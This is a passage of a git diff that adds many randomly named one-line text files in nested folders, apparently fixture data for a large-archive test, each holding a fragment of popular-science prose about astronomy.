new file mode 100644
index 0000000..c85736a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/xyeogniytwbigmqaj.txt
@@ -0,0 +1 @@
+planets, and betwixt the different systems . . . We observe, in all of them, enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/yfsmxhjepllscdaal.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/yfsmxhjepllscdaal.txt
new file mode 100644
index 0000000..928619f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/yfsmxhjepllscdaal.txt
@@ -0,0 +1 @@
+fusion in the deep interiors of the nearby stars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_awyawcmwazf.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_awyawcmwazf.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_awyawcmwazf.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_beoepxfyyoofejbiycfpymtu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_beoepxfyyoofejbiycfpymtu.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_beoepxfyyoofejbiycfpymtu.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_ijqyywvzddtqneg.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_ijqyywvzddtqneg.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_ijqyywvzddtqneg.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_jgtufzqds.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_jgtufzqds.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_jgtufzqds.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_kajcralyqdspoqgvrie.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_kajcralyqdspoqgvrie.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_kajcralyqdspoqgvrie.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_konfeanq.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_konfeanq.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_konfeanq.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_onbuxjajkfuyueczoalhqyyc.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_onbuxjajkfuyueczoalhqyyc.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_onbuxjajkfuyueczoalhqyyc.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_phpvqpelapauycoy.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_phpvqpelapauycoy.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_phpvqpelapauycoy.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_yqvvmnhwnzofplnzegjuerm.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_yqvvmnhwnzofplnzegjuerm.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_yqvvmnhwnzofplnzegjuerm.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/file_zvxiubgythzvizjnczcrmvbn.txt b/big_zip/big-zip-files/folder_zxncalkvzm/file_zvxiubgythzvizjnczcrmvbn.txt
new file mode 100644
index 0000000..25a25c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/file_zvxiubgythzvizjnczcrmvbn.txt
@@ -0,0 +1 @@
+such as meters or miles, chosen for their utility on Earth, would make little sense. Instead,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_djawilmbrlrrxdfs.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_djawilmbrlrrxdfs.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_djawilmbrlrrxdfs.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_dwiumtvwxgsdvmzluvlh.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_dwiumtvwxgsdvmzluvlh.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_dwiumtvwxgsdvmzluvlh.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_enqtavdfsfcnwgmlvkitzl.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_enqtavdfsfcnwgmlvkitzl.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_enqtavdfsfcnwgmlvkitzl.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_fwotelqmicw.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_fwotelqmicw.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_fwotelqmicw.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_glxudnfodxsvalnsrd.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_glxudnfodxsvalnsrd.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_glxudnfodxsvalnsrd.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_irnuxyzwsjhmczxzfi.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_irnuxyzwsjhmczxzfi.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_irnuxyzwsjhmczxzfi.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_khoyikekiontwkkcmihypu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_khoyikekiontwkkcmihypu.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_khoyikekiontwkkcmihypu.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_mumymwswgodvlltgtykiuryd.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_mumymwswgodvlltgtykiuryd.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_mumymwswgodvlltgtykiuryd.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_nznpxxmthkwuasi.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_nznpxxmthkwuasi.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_nznpxxmthkwuasi.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_ojlpnkogt.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_ojlpnkogt.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_ojlpnkogt.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_otqcpxhhbiasowv.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_otqcpxhhbiasowv.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_otqcpxhhbiasowv.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_tzmzjaxidz.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_tzmzjaxidz.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_tzmzjaxidz.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_vjbfoclbgarrmejk.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_vjbfoclbgarrmejk.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_vjbfoclbgarrmejk.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_xkfbjyembjggcynlyp.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_xkfbjyembjggcynlyp.txt
new file mode 100644
index 0000000..09ab1d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/file_xkfbjyembjggcynlyp.txt
@@ -0,0 +1 @@
+there were other suns and other worlds. This is one of the great secrets, wrested from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_bovfhsbwbog.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_bovfhsbwbog.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_bovfhsbwbog.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_gjlvvagsyt.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_gjlvvagsyt.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_gjlvvagsyt.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_gvvktnwfln.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_gvvktnwfln.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_gvvktnwfln.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_jopbwckkadfwdewj.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_jopbwckkadfwdewj.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_jopbwckkadfwdewj.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_lxwdtougtdxlvcuxxjnyli.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_lxwdtougtdxlvcuxxjnyli.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_lxwdtougtdxlvcuxxjnyli.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_mjhotpyoxydbkokwhmecq.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_mjhotpyoxydbkokwhmecq.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_mjhotpyoxydbkokwhmecq.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_qvmpeeabnhgxtcgvpf.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_qvmpeeabnhgxtcgvpf.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_qvmpeeabnhgxtcgvpf.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_uumaxxzq.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_uumaxxzq.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_uumaxxzq.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_vpmdftaxn.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_vpmdftaxn.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_vpmdftaxn.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_vruyiksgkmvyspsvynjh.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_vruyiksgkmvyspsvynjh.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_vruyiksgkmvyspsvynjh.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_wawrleueijy.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_wawrleueijy.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_wawrleueijy.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_welvqcgqfbotoszvxeka.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_welvqcgqfbotoszvxeka.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_welvqcgqfbotoszvxeka.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_xbniynbdcnu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_xbniynbdcnu.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_xbniynbdcnu.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_ylgetoyjsvmaylzjuj.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_ylgetoyjsvmaylzjuj.txt
new file mode 100644
index 0000000..dac3484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/file_ylgetoyjsvmaylzjuj.txt
@@ -0,0 +1 @@
+hundred years. Such a quivering can be studied by laser reflection techniques. The Apollo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/borjepwadkmpciincrfyzff.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/borjepwadkmpciincrfyzff.txt
new file mode 100644
index 0000000..df83028
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/borjepwadkmpciincrfyzff.txt
@@ -0,0 +1 @@
+planet will take time. Occasionally, an already suitable world would be found and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/ckflzedloyxuljoxywnzkxeo.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/ckflzedloyxuljoxywnzkxeo.txt
new file mode 100644
index 0000000..1039def
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/ckflzedloyxuljoxywnzkxeo.txt
@@ -0,0 +1 @@
+ellipses, and sweep out equal areas in equal times. Well, so what? Circular motion is easier
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/cnirasgrmzukitvkf.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/cnirasgrmzukitvkf.txt
new file mode 100644
index 0000000..bdd7717
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/cnirasgrmzukitvkf.txt
@@ -0,0 +1 @@
+the water is retained within the sphere until you lift your thumb. If you try to fill it with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/ezkyobkgd.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/ezkyobkgd.txt
new file mode 100644
index 0000000..d8e5004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/ezkyobkgd.txt
@@ -0,0 +1 @@
+the problem. Convincing the U.S. Congress and the Council of Ministers of the U.S.S.R. to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_dfjqbuerzbvshxyvxcnctyfx.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_dfjqbuerzbvshxyvxcnctyfx.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_dfjqbuerzbvshxyvxcnctyfx.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_fskrcohqadlhddctkosbd.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_fskrcohqadlhddctkosbd.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_fskrcohqadlhddctkosbd.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_ftqvnqisqeby.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_ftqvnqisqeby.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_ftqvnqisqeby.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_lkmechrigxxvrhrmsbuodfb.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_lkmechrigxxvrhrmsbuodfb.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_lkmechrigxxvrhrmsbuodfb.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_mswfyoltxgoynyxgptwyiu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_mswfyoltxgoynyxgptwyiu.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_mswfyoltxgoynyxgptwyiu.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_mtvudgvfroymhfgyk.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_mtvudgvfroymhfgyk.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_mtvudgvfroymhfgyk.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_nutxiegwyd.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_nutxiegwyd.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_nutxiegwyd.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_pmzhlhbgidjlfusvttblgcz.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_pmzhlhbgidjlfusvttblgcz.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_pmzhlhbgidjlfusvttblgcz.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_pvsfnvibzglcvspwgjs.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_pvsfnvibzglcvspwgjs.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_pvsfnvibzglcvspwgjs.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_sivftkrsckd.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_sivftkrsckd.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_sivftkrsckd.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_ulsabzeeviomgxv.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_ulsabzeeviomgxv.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
